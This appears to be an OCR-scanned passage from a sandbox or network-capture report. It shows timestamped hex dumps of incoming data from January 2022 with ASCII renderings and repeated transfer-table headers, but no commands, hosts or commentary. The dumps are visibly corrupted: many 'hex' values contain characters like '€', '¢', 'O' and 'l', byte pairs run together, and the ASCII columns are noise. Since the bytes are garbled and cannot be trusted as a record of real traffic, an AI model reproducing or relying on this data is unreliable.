6b 64 17 c1 0b a7 b9 ed ac 56 9c 5d ab c5 26 48 98 c7 36 bf ee a5 8e 75 21 e7 7e a4 73 df 39 9f 6f b0 bd de f5 8d 35 2a
84 c2 cf 2f 1d 5¢ f7 13 30 b0 03 94 90 el 4f 45 €9 7d 5d bd 46 31 d7 fb 7a 3d 0f 00 d4 d1 98 45 5f f3 €9 1c 54 d0 31 44 b9
45 94 46 b8 fc 91 ca 9b d7 8f 2f e4 0a 6d 53 88 db c1 f5 1b 1b 0a c0 b2 1c f8 7e a7 82 9e 11 7f 38 8a 8a bd 70 cd d5 73 6e
db af 07 de b2 27 04 56 22 d5 72 ad 63 4b a5 1c 7e 33 4b 7e 40 97 1b 1b ec c4 95 2b f9 03 €3 84 63 aa 73 b7 d7 55 e4 5b
fc 3c 55 e6 8d 9a 35 c1 98 d2 07 5a ca 93 18 ba 42 45 7c 2c ce 7c ca 4e 97 36 60 22 Oe a2 90 18 cc ea ca 9d 60 3b 6b 7
38 1d 18 0f b9 50 ba 5a a3 62 03 04 10 80 68 8a ef
Data Ascii: rK'MX?ikdV]&H6u!~s905*/\0OE}]F1z=E_T1DEF/mS~8psn'V"rcK~3K~@+csU[<U5ZBE|,|N6™"";k8PZbh

2022-01-14 03:59:52 UTC 5646 IN Data Raw: 85 49 2 c4 31 32 18 72 90 e8 5e f0 25 al 4b 78 25 12 63 3b 86 41 31 d5 f9 bf 59 c3 c6 66 be 0f ea 64 8d d5 e2
36 71 b3 d2 16 bd be Oe 81 db 1c 81 16 37 53 e3 5e 87 23 eb 1b 40 6f fc a9 ff al b2 24 cb 6d a5 b4 a0 9e ac 5f {7 21 fO 18
al Oe 43 dd 39 f5 ac ce b8 1f 17 67 7f 14 43 90 47 22 57 5b 5f 1c ec b6 2e e7 90 50 €9 2¢ 3d b5 89 0a 8b c5 3¢ 33 71 cO
a9 2a b0 3b 1a d7 12 3a 70 b0 73 ec 75 02 04 ed ad f0 07 01 ae 13 bc 8e 6f 62 e5 ¢9 52 ¢3 31 73 5a 76 29 1e 4d a4 f8 3a
70 d9 11 65 57 44 2f a6 11 ab c5 d5 16 af Ob b0 36 fa ed f8 9d 6e 3a b7 83 66 9b 5d 7e 3f 5¢c 24 1c a2 18 89 12 f3 ¢4 c6 99
6c fe a7 79 00 cb 86 b8 18 eb fd 7d 29 fa a3 42 1e 94 3d el 10 Oc 35 5b 5¢ ca 9f 63 22 ff b4 Oe 26 de d9 bb 94 dd 2f b0 43
d6 82 31 2c ¢1 Oc a0 91 26 e5 2a 67 b4 c5 27
Data Ascii: 112r"%Kx%c;A1Yfd6q7S "#@o$m_!C9gCG"W[_.P,=<30g*;:psuobR1sZv)M:peWD/6n:f]~?\$ly})B=5[\c"&/C1,&*g’

2022-01-14 03:59:52 UTC 5662 IN Data Raw: 9e 97 73 17 ad a7 3b 95 9b 2a bd 75 5f b6 96 58 dc e8 8a 34 6e 41 bc b1 7d e6 31 ff dc 61 5f e6 b0 9d c2 90 cb
€8 b0 d0 77 63 bf d2 58 00 22 03 8b f8 b8 36 d1 d1 08 cf 1c 88 28 e7 6a d3 3b 3f 9c 2d d3 b2 e9 a9 12 8a 72 21 2d 94 2e
6e 14 15 59 5f e8 98 9a 78 85 25 4b d0 62 ab 45 97 56 ad 3 19 ec 2a 7f ¢7 ed e9 5e 80 eb de 85 a8 5d 20 el 45 be 9c b2
ec 95 97 a4 ¢4 50 dd 2a 2f 91 68 a4 6d cd 93 3f 72 22 77 50 70 2e aa 7b 11 5f 76 fb 04 14 a2 05 9e be ca 18 fc 9b cb de
89 ea lafa 1b d3 cb 03 e5 ef 2e e8 af 2d 38 9b 93 56 8d 32 44 c9 7a 97 46 2b 1d e3 44 54 31 87 74 af 79 2d c0 ¢3 23 1c
70 5b f1 a2 06 6 b8 al 97 4d Oc f4 e0 39 ¢7 c9 dO a7 76 9a c4 7c 6f db 4a 65 d6 69 f1 e7 e7 09 ee 9d 6b el 12 14 2c 34
4d 06 d7 82 90 de c8 46 50 2f 7c 76 14 98 bb 2a bd 41
Data Ascii: s;*u_X4nA}la_wcX"6(j;?-rl-.nY_x%KbEV*\] EP*/hm?r*wPp.{_v.-8V2DzF+DT1ty-#p[M9v|oJeik, AMFP/|v*A

2022-01-14 03:59:52 UTC 5678 IN Data Raw: 3a dd ab 66 e6 81 7 ff e2 1e 80 b3 18 8a 54 06 fe a6 ce 8d 42 ac 70 a0 7c 7b 79 fd 95 17 e5 92 3a 23 4c 82 66
46 38 93 00 61 22 02 9a f6 61 55 82 55 7e c9 8d 6b a4 a4 6a 39 cb 60 db 9e bb 09 ec 88 83 a7 2d b5 ¢8 59 cd a0 f4 a2 44
94 be ab 04 14 3f cf 4c e5 fd 85 65 ce 50 81 1d f4 85 e7 1f 1c 5¢ d3 8¢ 7e 97 18 13 7e a2 a2 f2 1e fd 10 5d 70 7 bb 56 13
6 78 89 91 1f 68 e5 40 6b Ob 6b 40 99 ae a3 bc 75 57 94 75 5a de 54 bd a5 0b 2e 15 a9 cc b6 d1 4e al 42 Of 8d 40 84 22
88 00 d0 63 b3 1c 10 f4 f8 cf 6¢ 69 b2 84 4e e0 a2 1f Ob 3 f1 b9 5d 5¢ b1 10 35 44 fc 23 06 7 96 8e 37 6d 7c¢ 19 cb af fO
€2 0b 1c 44 c3 93 d9 eb Oa eb df 76 f0 3f 1 25 8d c¢7 f1 2f c2 87 Oe d8 89 a8 24 bf de ec 03 48 be 04 96 8a 07 63 3e 7d 88
3d bf b8 c0 e2 13 0a c3 bd 13 d0 20 92 80 b7
Data Ascii: :fTBp[{y:#LfF8a"aUU~kj9"-YD?LeP\~~]pVxh@kk@uWuZT.NB@"cliN)\5D#7m|Dv?%/$Hc>}=

2022-01-14 03:59:52 UTC 5694 IN Data Raw: ac 39 69 cd b9 bd ab d4 56 a9 23 6¢ f1 84 08 43 b1 36 02 28 79 f8 a2 1b a0 43 2f 40 46 62 55 1b 9b 89 50 b5
da 9f 83 db bb f6 14 f3 5e 18 32 f3 c4 dc Oe b8 6¢ 77 c4 81 50 55 bd 4f cf 7e fc dd 16 ee 2c 86 71 8a Ob ce 5e Oa e7 bb fd
48 44 5d 6¢ a3 58 2c 2e f0 66 50 15 b9 46 4c 1f 4e e0 f9 9b a2 82 02 fd 3e a7 ab b2 96 c1 08 b3 dd 60 f4 52 83 01 4c 23
63 41 d8 aa 3b f4 14 1f d3 62 77 5d e8 ab c2 1a 09 1c 6f 97 76 d7 b0 44 80 98 33 da 47 f1 0d 95 6a Oa 19 28 61 52 c8 06
€5 48 73 ce 12 6b e5 22 cb 2a c1 83 c4 44 7 84 96 fc f9 3f 66 29 ee 4e 30 61 02 74 8d f8 4c cc b4 70 17 82 aa 96 bb 13 f1
2f 7e 24 18 23 7b 10 09 f2 23 97 09 84 8a 0d dd 9a 9c 95 79 64 1f 38 13 40 ed 5e b5 e6 df 27 84 35 3f 06 38 5a 31 81 69
6e c9 3d 45 dc 4e 5d b4 44 8f bb 4c f9 01 f2 32 6d
Data Ascii: 9iV#IC6(yC/@FbUP"2lwPUO~,g"HD]IX,.fPFLN>"RL#cA;bw]ovD3Gj(@aRHsk"*D?f)NOatL p/~$#{#yd8@"'5?
8Z1in=EN]DL2m

2022-01-14 03:59:52 UTC 5710 IN Data Raw: a7 85 91 11 ec 03 1c 66 0a c9 d3 39 ba 8b f2 73 ea 56 7d 6b 7f ae f9 03 3a 32 c0 65 19 ca 48 7d 4d 8c 2a ba
79 b2 b0 d4 c7 Be 34 06 df f3 08 9b 9f 94 53 9a ca 84 33 1d cb €0 a0 1c 8d 5e fe 42 b8 2f 92 03 40 Oe 36 7 66 ae 17 a2 ez
d0 5¢ 9 43 dc d4 2e 1f 8 5e 29 a4 34 45 9b 5d ad aa 20 26 57 2e 5f cb 99 63 b4 72 19 ec 57 ab 85 44 23 84 6a 78 31 ae
89 ee 5¢ 0f 24 0d 6b 54 83 f3 €0 16 20 cf fd 6¢ €2 f6 7d 26 9c fe 5a 5¢ 9f b5 0b a0 64 €6 3f d0 86 69 9f bf 88 a7 4b 73 98
be 5 a2 68 7c Ob 5c 95 ¢3 83 08 8e €6 ae 9a fc 85 2 de 33 f0 35 3d 55 37 9c 46 d4 b7 6b 00 07 b9 el c0 d6 ec cb 78 d2
1b 16 ce 03 55 63 86 cd 34 99 28 f4 70 2a Of 8d 30 62 Oe 2d 7b al c0 17 6 57 3b 14 {8 c4 07 f4 9b 66 7c a0 e Oc cc 6e
3a 88 0d 6b €9 db 94 38 fc b0 ad ab ba 5¢ 48 dd cb
Data Ascii: f9sV}k:2eH}M*yn4S3°B/@6AC.N)4E] &W._crWD#x1\SKT [}&2\d?iKsh[\35=U7FkxUc4(p*0b-{oW;fn:k8\H

2022-01-14 03:59:52 UTC 5726 IN Data Raw: 3a 67 28 4e 22 9d c3 db 9d fc bd ¢3 3¢ 81 7a fe 6a 47 d5 bc b5 46 29 ¢7 0a bc b4 d2 e4 d5 06 54 77 7a 08 38
c0 88 4d 07 1f 83 bf 5e d6 d6 ae c5 04 37 af 0d 81 42 6b ef 98 99 b8 8e 94 ce d8 a7 b2 61 f7 b7 9c 9f 73 19 68 41 f3 1a da
c7 0a 02 f8 2e 02 48 4f Ob 27 13 ec 9f 85 81 3a ec 37 18 f9 43 b6 7e ¢8 78 f1 ea c7 85 d6 b5 57 72 80 c6 22 €0 47 a8 5¢
c8¢7 1b 8a 8b f3 71 ec 8b 59 Oe df 56 7c 5d dd c2 e8 2f e7 e4 61 68 de c0 al aa 1d 78 28 7d 7b 68 Ob 66 7d 7f 77 45 94
5b d0 ab de 44 4d 3c 77 cc de fe 82 6f 86 78 9d a4 5f ab 1c 19 fa b5 88 ¢6 95 77 05 ba 38 20 e0 76 35 7b ce 18 7e 49 60
ed 32 85 90 5f 72 e6 50 73 8f d8 9b 9e 6d Oc 9d €6 72 30 27 c6 6d c5 d6 Oe 97 80 3f 4a 1d e5 5b b9 17 17 df e7 5e 4c 80
a8 fc f2 e6 62 99 9d 6e 3c 70 d7 5b d2 b0 d7 8¢ b9 26
Data Ascii: :g(N"<zjGF)Twz8M"7BkashA.HO":7C~xWr"G\qYV|)/ahx({hfiwE[DM<wox_w8 v5{~I'2_rPsmr0'm?J[*Lbn<p[&

2022-01-14 03:59:52 UTC 5742 IN Data Raw: 06 39 85 21 59 86 9e a3 15 3d 25 33 b6 56 49 el 47 35 cd 92 e3 15 ac 40 be 81 c4 f3 2a 9a c9 09 aa de el 74
a8 c0 2f bd fe a7 62 50 5d e3 7a d5 bd 90 e2 8d 6f b2 1b 51 75 ee cb a5 6e bc ¢5 87 88 f3 79 9d 43 fd 1d 80 80 fd 5d ef b7
70 f3 e4 fO cb af 8e 85 19 7c d8 56 56 34 52 10 1f 5e 68 3b 35 86 65 94 55 53 d7 ea 8c 85 b4 eb 89 be 83 c1 c8 d2 e5 e2
af 48 7a 91 47 52 92 8e 54 bd al ee 33 1b eb 3b 31 cc 66 €3 f1 91 8e 72 Ob 7f bb 48 55 2e 2d 1e ef 7f 63 43 1b 13 23 32
47 7 c6 31 d3 6b 69 a8 6b b4 27 16 ba d8 d0 a0 81 7d Oe 89 a2 b8 7a 5a 6d 92 c5 2b 2e f1 4d ef fb f4 4f 8d 87 10 eb 5b
39 c0 a8 b9 bb 2b 07 16 19 2a de 45 db f8 ca a4 e3 5f 25 ac 5e 3d b1l 18 25 6a 6¢ e3 c9 a0 6a 42 ab {8 59 f5 70 fa 5d 4b
fa 67 15 bl cb ba c2 a4 5f 91 3e da 08 30 3a 4c 62 f8
Data Ascii: 9'Y=%3VIG5@*t/bP]zoQunyC]p|VV4R"h;5eUSHzGRT3;1frHU.-cC#2G 1kik'}zZm+.MO[9+*E_%"=%]j|jBYp]K
g_>0:Lb
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 5758 IN Data Raw: 43 93 b8 d8 9d f6 f6 a3 06 03 28 17 37 f7 01 42 c5 20 54 05 7a aa b8 89 d8 7b e5 4d 61 2d f5 85 38 b6 16 a2
73 f8 cab7 9e ec ba ec 41 74 26 el 57 b5 3f 1a c3 05 03 a4 c1 a3 3f df 48 b7 el 70 d8 b2 48 26 cc 86 8e 85 99 16 d6 c7
4c fc b7 23 ab 5d 1f 79 29 ea d3 bc e7 el e9 fb c8 c4 73 f0 33 81 d1 eb 93 b3 9¢ 16 7b 4b 8f 1b d5 Oe 1c 58 20 b5 1f 27 90
cd ff 89 5b 96 43 ¢3 10 ec a0 64 c4 05 b0 94 30 74 50 69 85 f9 1a 27 06 58 b4 76 74 02 c9 Ob 99 67 52 97 €6 07 60 €8 83
50 c2 04 35 fO b1l ea f3 87 34 Oe 2b ff 82 7c 7e 8c 9e 31 dd a0 8d e4 e6 35 1f Oe 3b c6 bc 8¢ 60 al 62 la fa 49 4f 64 b9 af
52 72 3ae3 a3 62 ae 71 8f f5 49 19 f9 cd 52 aa e4 06 al 9b 41 65 9c 93 cf 5b a7 b5 bl 01 ca 21 ff 6f f8 8e 23 a3 83 e0 89
Oa df b8 d6 a0 66 1e 8a 12 23 4d 37 60 96 03 la
Data Ascii: C(7B Tz{Ma-8sAt&W??HpH&L#]y)s3{KX '[CdOtPi'XvtgR P54+|~15; blOdRr:bgIRAe[!o##M7"

2022-01-14 03:59:52 UTC 5774 IN Data Raw: b5 fa 91 8¢ 90 22 68 42 8c 74 10 74 e2 81 67 66 4e 2b 27 aa 68 32 €9 47 7a c7 8a 99 4d 4f 32 35 64 9b a0 11
d7 9a 7f cb 8c fc ca 32 f0 b0 34 al 30 fb 39 16 e3 c8 7c 9c e2 c2 30 6e 65 7e 3d 29 12 68 b6 59 4e 21 4f ad 24 2d ac ea bf
891371 ae dl 7b 18 71 43 0555 8d 79 eb 6b a2 28 97 d5 16 14 26 27 38 3f 6b a2 00 19 82 7f Of 7b fc e0 3b b5 c1 52 54
18 ec 63 a5 75 78 5f 6f 38 b3 32 1f ce ba ab df 45 40 fa a7 2a dc Oe 9b 12 22 d2 fd f5 3a f1 15 32 84 d8 5a 54 fe 48 1f 30
56 a0 24 1d a8 f8 78 ad ae c0 2a 5d aa 21 bf d3 9a c6 c4 8b 9c aa f2 09 15 60 cf a9 10 f9 8a d4 e5 b0 27 32 34 b7 2e 00
dc 55 fa 7e 18 d2 b7 79 af 75 fa b9 ad 59 3e 29 07 42 6¢ 60 e4 d4 c9 8f f3 42 1d ea cO fd 70 25 6a 19 fa 4a fe 93 87 4b 82
€3 04 a6 5c f1 4d 1f d4 12 9c fd f4 76 4f Oa bb
Data Ascii: "hBttgfN+'h2GzM025d2409|0ne~=)hYN!0$-q{qCUyk(&'8?k{;RTcux_082E@*":2ZTHOVS$x*]!"'24.U~yuY>
)BI'Bp%jIK\MvO

2022-01-14 03:59:52 UTC 5790 IN Data Raw: e6 f2 80 65 75 02 €9 8c 9a 8e b1 1c 45 54 bd 16 8f 22 8f 23 28 13 ca c6 fe 6d 16 4b d9 6b df cd fO b8 2f 47 23
8a bf ea d7 65 9c 9a 3f eb 10 de 01 d0 96 82 a7 e8 7c c8 cf e8 ab ac f0 b2 f6 f5 d5 8b f6 9b 41 f9 79 df 19 90 75 el 3f 88
ac 5f 1a 73 ¢7 85 b0 4a 43 64 7c 32 ec 23 24 a6 8e 5¢ 9d f3 ae 48 37 f5 9c 27 cf 83 d8 a2 80 5f 5¢c 36 €5 78 44 €9 f3 03 e9
27 43 3f 48 d0 ac b5 26 1e 7a a0 €8 10 81 99 d9 bf 7a 9f d9 b1 df 2b 05 f1 da d9 17 9f 49 e6 el a9 6d 98 76 11 46 5a ec
€3 ¢540 42 3a 9e 7f dd 01 33 6d 5e €5 78 16 52 65 1e ad 57 cc b2 d1 aa 73 03 4f 51 fc 2f de 81 Ob 4c 7a 11 ce 22 46 9c
8c b2 35 86 bb d0 1a ea 6f cc f5 34 67 1d a3 3e 21 b3 c2 69 1a 41 07 66 24 cb a5 Oe 72 9¢ 89 b2 d6 9d 8f al 7f 13 9d 71
10 3b 23 ¢2 79 €7 5b 18 cf d2 c7 b3 33 bb 0Oa be
Data Ascii: euET"#(mKk/G#e?|Ayu?_sJCd|2#$\H7'_\6xD'C?H&zz+ImvFZ@B:3m"xReWsOQ/Lz"F504g>!iAf$ra;#y[3

2022-01-14 03:59:52 UTC 5806 IN Data Raw: el 4a 3b 54 0b 3c d6 6a 72 99 f2 ¢8 9a 19 4e ea 48 bb 0d ab 4c 72 02 b5 4c b2 a5 36 ef €9 06 37 1d b4 c1 f8
2a 80 d7 86 8d 05 d6 12 cc 66 d5 fd a4 37 dc 04 fa 38 52 65 fd 1b 30 88 4f 22 14 fa c2 31 82 el 89 e6 53 f4 e7 f3 85 89 37
01 7f 89 cf 7a 51 ce 98 ee 2e 38 79 d0 47 dd 37 a5 b0 2d f2 ae 6d 73 bd 80 cd 73 b2 cb fc 82 cc 84 a9 6d ed f0 4d 37 eb
d3 dc 5f aa df fc 47 ce 6f fe 50 9b 44 b5 55 18 13 74 c9 3e 58 6a a3 56 b4 01 af 7d 8b e0 fd 35 92 cO Oe d3 eb 08 b6 32 28
6d 9b 49 a4 e0 17 5 58 2a 5b ¢8 31 53 1d 94 40 47 a4 8c 38 83 7b b0 4e 9f 9c cf ¢3 56 51 12 b5 ac f7 69 e2 ac cd 63 c5
64 3e 4a a3 11 57 d7 1e 84 10 43 7f 35 9c ae 6¢ 62 f4 73 40 5 4¢ dO fb b9 2f 4e 43 9b f3 f8 0d €7 c2 9a 02 68 ab b5 9f fO
09 ea 07 91 ac 49 ec a9 c3 d1 0f 5a 5f 50 ae 34
Data Ascii: J;T<jrNHLrL67*f78Re00"1S7zQ.8yG7-mssmM7_GoPDUt>XjV}52(mIX*[1S@G8{NVQicd>IJWC5Ibs@L/NChIZ_
P4

2022-01-14 03:59:52 UTC 5822 IN Data Raw: 8¢ 5¢c ad 04 31 b2 87 a4 57 1f f5 1c 65 60 85 a3 d1 f2 72 41 4f d7 6d b8 a7 8f 34 a0 a5 b8 08 6a b2 38 21 1a ee
bc 24 ed 98 17 56 6f 12 ca al 5a 32 e3 17 9e 80 a9 d4 13 ae 8b 8e €9 57 43 1b 9e 13 bb f9 00 1b d5 16 ac c5 ab 1c 7 6f
€8 82 le 96 26 53 d4 f8 d8 e7 4c d8 91 3f 6e ec 8a a5 e5 69 b3 3f a7 2f 85 cf cc d5 1d cb 65 f9 3e 67 9c 2e e2 01 52 91 1f
dd 4f 82 c2 3c 56 70 ff 96 b7 07 61 06 ee 76 01 46 d8 9c 91 48 38 a7 a3 54 4a 2d 64 ab 32 a5 89 a9 ef a2 50 el 4f 6¢ 54 fb
99 2d 6a 6a la el df b0 3d 05 cd c2 5a 3f c2 ee 03 9e 67 99 9c f4 8d 99 e8 4e 20 d7 33 56 51 6¢ 93 63 be c9 0f 06 d9 18
bd af 80 f9 6b e5 7c 0a 99 ca 07 22 25 94 66 b9 57 77 Oc 73 5d c¢2 d0 23 fc 54 03 88 71 70 5a 88 bd bd dc b6 9b 2 94 fa
02 ee Ob 88 f8 cc f3 82 96 53 95 4e 96 b4 c9 72
Data Ascii: \1We rAOm4j8!$V0oZ2WCo&SL ?ni?/e>g.RO<VpavFH8TJ-d2POIT-jj=2?gN 3VQIck|'%fWws#TqpZSNr

2022-01-14 03:59:52 UTC 5838 IN Data Raw: 7f c4 9c Of 2f 68 fO ae b2 2e ¢8 82 0f 72 15 b4 77 dd b5 50 11 8f ¢2 9c 2a f5 1d 42 68 07 7b 38 f3 83 3d e6 97
b0 84 15 31 9f c0 4d 44 a9 49 Oc ec 34 68 5b 8f 18 c2 c5 e4 f4 62 3c b7 ce bl b0 05 bf 4f 01 87 ba d3 f5 f4 61 5a 0f 0d 07
dd 65 6b 11 49 4b 5f a9 6f a8 ee d5 07 85 5e 0d 40 c7 14 13 31 3b bf 55 6f 46 ab 75 d6 c2 b0 a6 ef f2 17 4e 01 84 36 b9
9a 00 b6 b7 3b f3 d0 5d 03 9c 43 22 62 f2 d8 e5 43 fd da e4 fc ee 97 59 bb 19 65 40 52 ca c8 e4 a3 4d 4b 93 2d 78 97 c8
19 ca 7e 15 78 47 ff 2f el d7 e5 60 3b 7e fO Of 8¢ 90 9a 34 f2 4f 29 2b 09 ea c8 ab a9 84 bd b0 2d 7e 61 bf d4 3f 18 de 6f
a6 c3 aa 1f 33 e6 aa 2d 34 6d 60 3f 79 db ba b8 a9 61 56 6¢ 7e 41 5e 12 c0 1d a7 d6 5b 57 2f f9 cc 6f bd ee e5 d5 6e 76
99 bhd ab fe 26 d1 a5 80 b0 bb cb fa 7b 5e 48 a9
Data Ascii: /h.rwP*Bh{8=1MDI4h[b<OaZeklK_o"@1;UoFuN6;]C"bCYe@RMK-x~xG/ ;~40)+-~a?03-4m ?yaVI~AW/onv&
H

2022-01-14 03:59:52 UTC 5854 IN Data Raw: a5 13 49 c2 b9 74 10 fe 75 d1 d1 27 53 93 81 f0 55 48 bc a8 d2 3d 73 f4 2c 93 3f 24 6c 8a 75 ce 38 6e c5 86 d7
a6 12 47 cf 57 12 89 e0 77 el bf 15 a9 4d 8e eb d8 9d ca c0 4f 51 9 32 35 b6 dd 11 df b6 87 fe 5a 26 el 0f el 73 87 0d
35 7 d3 f8 99 8b 8b 6f 7d f5 3e 4d 92 13 66 60 3d el ee 15 6a d1 d9 8b 33 f9 96 c9 f9 57 5d 5¢ 35 9a 53 22 56 42 33 4¢
d5 61 86 c2 80 5d 88 ec 80 46 09 71 75 fd d0 00 43 05 €9 43 56 f9 79 Ob 7b 2a 4b 8a 28 b9 18 2b 0a a9 e7 34 58 08 49 f5
d9 3e 51 dc 5¢ 4b 02 aa 1d 9b da 03 3c ef 26 7c d6 53 ad 6e 8f 2a b2 29 b1 8a 71 b5 f4 f7 6f 8d 3d 0d 58 09 be 66 a8 a7
4f da 88 el 36 3e b9 cc el 9a 7b a9 a5 fe bf c7 d5 0a 4a a3 58 34 fe 97 e5 b5 ab 1b 43 c4 96 7e 48 cf 83 de a0 f1 ed c9
9a 4f 9f 7c Of 71 be d9 47 17 1b f5 24 db a9 6b 12 5
Data Ascii: Itu'SUH=s,?$luBnGWwWMOQ25Z&s50}>Mf =j3W\5S"VB3La]FquCCVy{*K(+4XI>Q\K<&|Sn*)qo=XfO6>{IX4C
~HO|qG$k

2022-01-14 03:59:52 UTC 5870 IN Data Raw: f3 ¢3 1a 9¢ 63 bd 39 11 ef 08 79 b0 b9 59 18 57 62 4e e4 29 39 dO bf 1a 69 72 12 ef 42 4f bc 54 99 f1 ac 2d dO
72 d89c 1f 41 11 71 89 90 Ob 7d cf c2 34 2d 98 32 2d f3 1a 38 c2 47 92 50 0Of c3 6¢ 22 95 a9 ac b7 00 ac cb c8 82 11 89
82 d35281ala7 07 eecd7a3babf222e3dl 49 61 dl 0f 30 8d af 1d 02 5d 6d 00 71 75 e7 b3 8d 75 85 f6 fd ca 20 af
49 da e6 76 80 2b 28 96 3e da d6 6¢ d4 a4 e3 be 68 17 c0 9d d8 06 59 07 5a 4b 04 8f ed 37 b0 6a 9d c8 08 fb 87 1d 52 98
da bb 65 24 66 29 6¢ 8e 58 be 0f 1d 33 a7 6a 14 dc 11 91 12 al 4b e6 04 89 ea 65 bb 0d Ob c8 32 b9 de 07 d9 fd 94 09 36
ed a7 59 2d 03 c1 44 49 b7 d9 bd 6c 0a a6 f6 93 de 4b af bd al 00 a6 bd 1b be ee Ob 1a eb 12 24 4e bd Oa 4d 85 05 72 7d
€0 c6 19 fe ab d7 2e b2 ae 70 f2 22 ac 8e 45 a2 15 88
Data Ascii: c9yYWbN)9irBOT-rAq}4-2-8GPI"Rz;"la0lmquu Iv+(>IhYZK7jRe$f)IX3jKe26Y-DIIK$SNMr}.p"E

2022-01-14 03:59:52 UTC 5886 IN Data Raw: a2 ae bc 7a cf 8b 17 9d 1e 8 3f 9c 8f a9 94 08 9a 2e a0 d5 b5 56 1d d2 62 94 12 ff 3c 79 1d 91 95 26 f4 08 92
c1 25057 89 ch 96 00 a6 e2 eb 09 72 fO 9f 55 60 54 ab 95 61 e2 82 15 8 6a e0 d8 32 f2 42 3e 14 ec 8 ef 1e 5e d2 4b 12
b6 b2 80 61 6f 4d b0 a6 83 8e 7b fa c8 15 1d b6 cc 36 cad2 61 7b 44 d3 83 ad 51 1c f6 2d 48 44 51 5b ae fc 89 f2 eb 6b
b3 22 4c 3b d4 34 7a fO 5 Oc 6a 7c 10 02 d1 36 82 8c 64 ae 24 69 dd cb 99 83 10 7c a8 f1 43 4b 48 fd 62 b8 8e 76 5e b6
ff 34 f6 €8 08 97 b2 3b 69 Ob 60 8d 18 f7 be 86 15 1e f2 77 d5 Ob d7 2b 40 53 17 e7 3b 21 7a 4a b7 25 19 84 55 77 e7 5a
8b 11 08 6b ea bl aa 6a 70 22 01 90 41 36 91 34 7c 66 d3 dc 1e a7 c7 7a 3c 71 92 28 c2 32 48 a8 aa 9f 8¢ b6 Oc c4 3f 88
f8 7a 05 14 05 02 a7 bf 36 5b aa al b5 ¢5 c6 1b dc
Data Ascii: z?.Vb<y&PWrU Taj2B>"KaoM{6a{DQ-HDQ[K"L;4zj|6d$i|CKHbv 4;i"w+@S;!zJ%UwZkjp"A64|fz<q(2H?z6]
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 5902 IN Data Raw: ff bd 09 5f e8 d6 36 5a b4 e4 92 ee d0 23 bc 94 7b cd ad 3c 7f 6f ca 38 5b 20 5d cf cf e4 f3 b7 3 83 be 43 6b
8c 37 77 93 10 f4 19 ad eb 69 30 €8 46 6¢ 8¢ 0d a9 49 81 50 d5 6b 70 Of ac 30 a7 79 e3 54 ba cb fb 46 48 16 ec c1 11 e4
6 9f d7 e9 b8 65 e2 bf 68 f4 40 ab a2 37 07 86 fe 24 e6 a4 74 0d 39 48 8e 04 08 27 b1 ce 73 ce 05 44 3e 82 23 1a f8 fe 01
b0 bd 54 2c de 06 2a 4c 30 e0 c5 eb b2 2c 20 fO df a9 cb d9 8a 9c al 21 60 22 3f 6d f5 2 36 df d3 41 a6 63 25 49 f2 bf 1b
86 €9 43 1d 36 5a 3a 91 d8 2e ec 27 1d 3b 52 4b c4 f5 99 39 17 43 b0 0a b6 86 3c 86 8c 2e 1e 2d 41 c3 46 b7 5f 8¢ 48 4a
93 3a4b 94 {7 €5 00 95 15 f0 05 f5 47 37 55 b5 61 88 75 9c 61 aa 14 33 78 46 a5 3f 69 2d fa f4 50 d9 a5 36 11 d9 e8 c8
Oe 83 9f 6d 79 88 16 a2 fa 2b fO 5e 82 fe 71 91
Data Ascii: _6Z#{<08[ |Ck7wiOFIIPkpOyTFHeh@7$t9H'sD>#T,*L0, !""?m6Ac%IC6Z:.;RKIC<.-AF_HJ:KG7Uaua3xF?i-
P6my+.q

2022-01-14 03:59:52 UTC 5918 IN Data Raw: 29 de 12 e3 ae 3e 52 e8 9b ed d7 a3 5b ec ¢5 7 4b 8f 05 05 16 d7 c7 da a5 b0 8c 99 36 5b be c8 5b e5 9c 8e
9f 54 57 56 €9 7f f3 b8 04 e4 c4 cf Oc 29 7a 9b 5f 35 7 bd 08 56 07 ab 96 el 60 af af 41 3a 8a 5f 35 d5 2d 3b b3 77 69 8d
58 7c e4 78 9c 2b 91 ¢5 02 48 71 27 d3 09 Oe 8e b9 27 91 75 68 b8 b9 e5 21 3 9 b7 c9 2a 79 55 53 4d a7 58 2a e2 45
07 85 a7 e2 3d b7 96 e8 a5 5d 3f 39 31 df c9 90 02 68 ae 6e aa 2c 6¢ a6 1f 4b 7a 7c fd 69 db cf c4 Oe a9 65 9b 05 6f 03
3842 00 15 4e 83 f8 Ob 79 38 60 c3 52 25 17 c5 fa 2d f9 72 83 ef bb 6f al dc 9e d3 a6 65 58 94 b0 11 89 e0 10 a0 21 ae
d5 e3 47 d2 c6 29 d2 c6 33 17 f3 53 7e 4a 86 92 b8 af 2f 48 fd bf 9e 5b 51 5d eb 60 62 a7 ad ce d2 e5 d0 67 34 0b 07 87
fb 6e 18 a2 33 a4 4e 8e b0 1b 42 2c 6f 6f fe 73 3f 6¢ b4
Data Ascii: )>R[K6[[TWV)z_5V"A:_5-;wiX|x+Hg"uh!*yUSMX*E=]?91hn,|Kz|ie08BNy8 R%-roeX!G)3S~J/H[Q] bg4
n3NB,00s?!

2022-01-14 03:59:52 UTC 5934 IN Data Raw: 70 aa 4a 60 a2 7f 87 c8 5a 76 b2 d4 5a d6 af 89 a0 48 df ae 43 a9 b9 c6 04 ba 03 8a 47 61 ee 72 32 14 30 2e

9e 98 f2 4d e7 a7 e5 32 e3 d8 c0 53 e2 7 f7 2c 37 1e c9 67 e3 2c 75 8a dd f2 86 6b 4e 73 bc 23 9¢ 55 5d 31 71 2d 91 38
93 5a db 81 3 9e 48 bc b5 41 a8 d3 38 f2 33 b2 7e 02 4d db c7 f3 07 8e al b4 9c 52 4d 1f 55 4d 7e 9d 64 89 b3 c0 e2 8e
ef 5b 92 46 9c 63 2b 52 28 3c 1a ed 7f 9b ef b8 4c 67 87 68 e8 7a €6 06 €9 2e c5 1c fa 27 87 a5 92 a5 b1 14 15 91 97 ba
db 4a d1 8a d8 53 07 90 28 e2 6f b5 77 6f 2f 75 9b 7f dc 20 5b 01 Oc 99 96 42 {7 fO dO 4f c6 ae fe €8 67 de c8 11 81 f2 Ob
faab 71 b6 5f 13 0b 17 7a 73 3e 2f be 2d 66 €9 2f cb 45 e4 3 4f dO ¢5 3c f3 24 71 85 f2 89 de 1a fO 14 3a 86 c1 Oe al 87
77 cc f1 a6 2e 8b b5 32 ¢7 c9 ce fb 24 39 eb 10 60

